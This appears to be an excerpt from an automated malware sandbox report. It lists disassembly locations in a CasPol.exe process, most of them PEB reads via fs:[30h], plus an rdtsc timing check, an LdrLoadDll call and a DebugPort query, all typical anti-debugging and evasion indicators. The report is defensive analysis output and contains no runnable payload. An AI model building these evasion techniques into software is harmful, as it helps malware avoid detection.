Source: C:\Windows\SysWOW64\ieUnatt.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 10_2_0159096E rdtsc

10_2_0159096E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 10_2_00417063 LdrLoadDll,

10_2_00417063

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01556154 mov eax, dword ptr fs:[00000030h]	10_2_01556154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01556154 mov eax, dword ptr fs:[00000030h]	10_2_01556154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154C156 mov eax, dword ptr fs:[00000030h]	10_2_0154C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01557152 mov eax, dword ptr fs:[00000030h]	10_2_01557152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E4144 mov eax, dword ptr fs:[00000030h]	10_2_015E4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E4144 mov eax, dword ptr fs:[00000030h]	10_2_015E4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E4144 mov ecx, dword ptr fs:[00000030h]	10_2_015E4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E4144 mov eax, dword ptr fs:[00000030h]	10_2_015E4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E4144 mov eax, dword ptr fs:[00000030h]	10_2_015E4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549148 mov eax, dword ptr fs:[00000030h]	10_2_01549148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549148 mov eax, dword ptr fs:[00000030h]	10_2_01549148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549148 mov eax, dword ptr fs:[00000030h]	10_2_01549148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549148 mov eax, dword ptr fs:[00000030h]	10_2_01549148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154F172 mov eax, dword ptr fs:[00000030h]	10_2_0154F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E9179 mov eax, dword ptr fs:[00000030h]	10_2_015E9179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01625152 mov eax, dword ptr fs:[00000030h]	10_2_01625152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FA118 mov ecx, dword ptr fs:[00000030h]	10_2_015FA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FA118 mov eax, dword ptr fs:[00000030h]	10_2_015FA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FA118 mov eax, dword ptr fs:[00000030h]	10_2_015FA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FA118 mov eax, dword ptr fs:[00000030h]	10_2_015FA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B136 mov eax, dword ptr fs:[00000030h]	10_2_0154B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B136 mov eax, dword ptr fs:[00000030h]	10_2_0154B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B136 mov eax, dword ptr fs:[00000030h]	10_2_0154B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B136 mov eax, dword ptr fs:[00000030h]	10_2_0154B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551131 mov eax, dword ptr fs:[00000030h]	10_2_01551131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551131 mov eax, dword ptr fs:[00000030h]	10_2_01551131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01610115 mov eax, dword ptr fs:[00000030h]	10_2_01610115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01580124 mov eax, dword ptr fs:[00000030h]	10_2_01580124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016261E5 mov eax, dword ptr fs:[00000030h]	10_2_016261E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158D1D0 mov eax, dword ptr fs:[00000030h]	10_2_0158D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158D1D0 mov ecx, dword ptr fs:[00000030h]	10_2_0158D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015801F8 mov eax, dword ptr fs:[00000030h]	10_2_015801F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016161C3 mov eax, dword ptr fs:[00000030h]	10_2_016161C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016161C3 mov eax, dword ptr fs:[00000030h]	10_2_016161C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016251CB mov eax, dword ptr fs:[00000030h]	10_2_016251CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015751EF mov eax, dword ptr fs:[00000030h]	10_2_015751EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015551ED mov eax, dword ptr fs:[00000030h]	10_2_015551ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D019F mov eax, dword ptr fs:[00000030h]	10_2_015D019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D019F mov eax, dword ptr fs:[00000030h]	10_2_015D019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D019F mov eax, dword ptr fs:[00000030h]	10_2_015D019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D019F mov eax, dword ptr fs:[00000030h]	10_2_015D019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154A197 mov eax, dword ptr fs:[00000030h]	10_2_0154A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154A197 mov eax, dword ptr fs:[00000030h]	10_2_0154A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154A197 mov eax, dword ptr fs:[00000030h]	10_2_0154A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016011A4 mov eax, dword ptr fs:[00000030h]	10_2_016011A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016011A4 mov eax, dword ptr fs:[00000030h]	10_2_016011A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016011A4 mov eax, dword ptr fs:[00000030h]	10_2_016011A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016011A4 mov eax, dword ptr fs:[00000030h]	10_2_016011A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015A7190 mov eax, dword ptr fs:[00000030h]	10_2_015A7190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01590185 mov eax, dword ptr fs:[00000030h]	10_2_01590185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156B1B0 mov eax, dword ptr fs:[00000030h]	10_2_0156B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160C188 mov eax, dword ptr fs:[00000030h]	10_2_0160C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160C188 mov eax, dword ptr fs:[00000030h]	10_2_0160C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015F705E mov ebx, dword ptr fs:[00000030h]	10_2_015F705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015F705E mov eax, dword ptr fs:[00000030h]	10_2_015F705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01625060 mov eax, dword ptr fs:[00000030h]	10_2_01625060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01552050 mov eax, dword ptr fs:[00000030h]	10_2_01552050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157B052 mov eax, dword ptr fs:[00000030h]	10_2_0157B052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157C073 mov eax, dword ptr fs:[00000030h]	10_2_0157C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov ecx, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01561070 mov eax, dword ptr fs:[00000030h]	10_2_01561070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E016 mov eax, dword ptr fs:[00000030h]	10_2_0156E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E016 mov eax, dword ptr fs:[00000030h]	10_2_0156E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E016 mov eax, dword ptr fs:[00000030h]	10_2_0156E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156E016 mov eax, dword ptr fs:[00000030h]	10_2_0156E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161903E mov eax, dword ptr fs:[00000030h]	10_2_0161903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161903E mov eax, dword ptr fs:[00000030h]	10_2_0161903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161903E mov eax, dword ptr fs:[00000030h]	10_2_0161903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161903E mov eax, dword ptr fs:[00000030h]	10_2_0161903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154A020 mov eax, dword ptr fs:[00000030h]	10_2_0154A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154C020 mov eax, dword ptr fs:[00000030h]	10_2_0154C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D20DE mov eax, dword ptr fs:[00000030h]	10_2_015D20DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015790DB mov eax, dword ptr fs:[00000030h]	10_2_015790DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov ecx, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov ecx, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov ecx, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov ecx, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015670C0 mov eax, dword ptr fs:[00000030h]	10_2_015670C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154C0F0 mov eax, dword ptr fs:[00000030h]	10_2_0154C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015920F0 mov ecx, dword ptr fs:[00000030h]	10_2_015920F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015750E4 mov eax, dword ptr fs:[00000030h]	10_2_015750E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015750E4 mov ecx, dword ptr fs:[00000030h]	10_2_015750E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154A0E3 mov ecx, dword ptr fs:[00000030h]	10_2_0154A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016250D9 mov eax, dword ptr fs:[00000030h]	10_2_016250D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015580E9 mov eax, dword ptr fs:[00000030h]	10_2_015580E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01555096 mov eax, dword ptr fs:[00000030h]	10_2_01555096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158909C mov eax, dword ptr fs:[00000030h]	10_2_0158909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157D090 mov eax, dword ptr fs:[00000030h]	10_2_0157D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157D090 mov eax, dword ptr fs:[00000030h]	10_2_0157D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154D08D mov eax, dword ptr fs:[00000030h]	10_2_0154D08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016160B8 mov eax, dword ptr fs:[00000030h]	10_2_016160B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016160B8 mov ecx, dword ptr fs:[00000030h]	10_2_016160B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155208A mov eax, dword ptr fs:[00000030h]	10_2_0155208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D035C mov eax, dword ptr fs:[00000030h]	10_2_015D035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D035C mov eax, dword ptr fs:[00000030h]	10_2_015D035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D035C mov eax, dword ptr fs:[00000030h]	10_2_015D035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D035C mov ecx, dword ptr fs:[00000030h]	10_2_015D035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D035C mov eax, dword ptr fs:[00000030h]	10_2_015D035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D035C mov eax, dword ptr fs:[00000030h]	10_2_015D035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549353 mov eax, dword ptr fs:[00000030h]	10_2_01549353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01549353 mov eax, dword ptr fs:[00000030h]	10_2_01549353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160F367 mov eax, dword ptr fs:[00000030h]	10_2_0160F367
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D2349 mov eax, dword ptr fs:[00000030h]	10_2_015D2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154D34C mov eax, dword ptr fs:[00000030h]	10_2_0154D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154D34C mov eax, dword ptr fs:[00000030h]	10_2_0154D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01625341 mov eax, dword ptr fs:[00000030h]	10_2_01625341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015F437C mov eax, dword ptr fs:[00000030h]	10_2_015F437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01557370 mov eax, dword ptr fs:[00000030h]	10_2_01557370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01557370 mov eax, dword ptr fs:[00000030h]	10_2_01557370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01557370 mov eax, dword ptr fs:[00000030h]	10_2_01557370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0161A352 mov eax, dword ptr fs:[00000030h]	10_2_0161A352
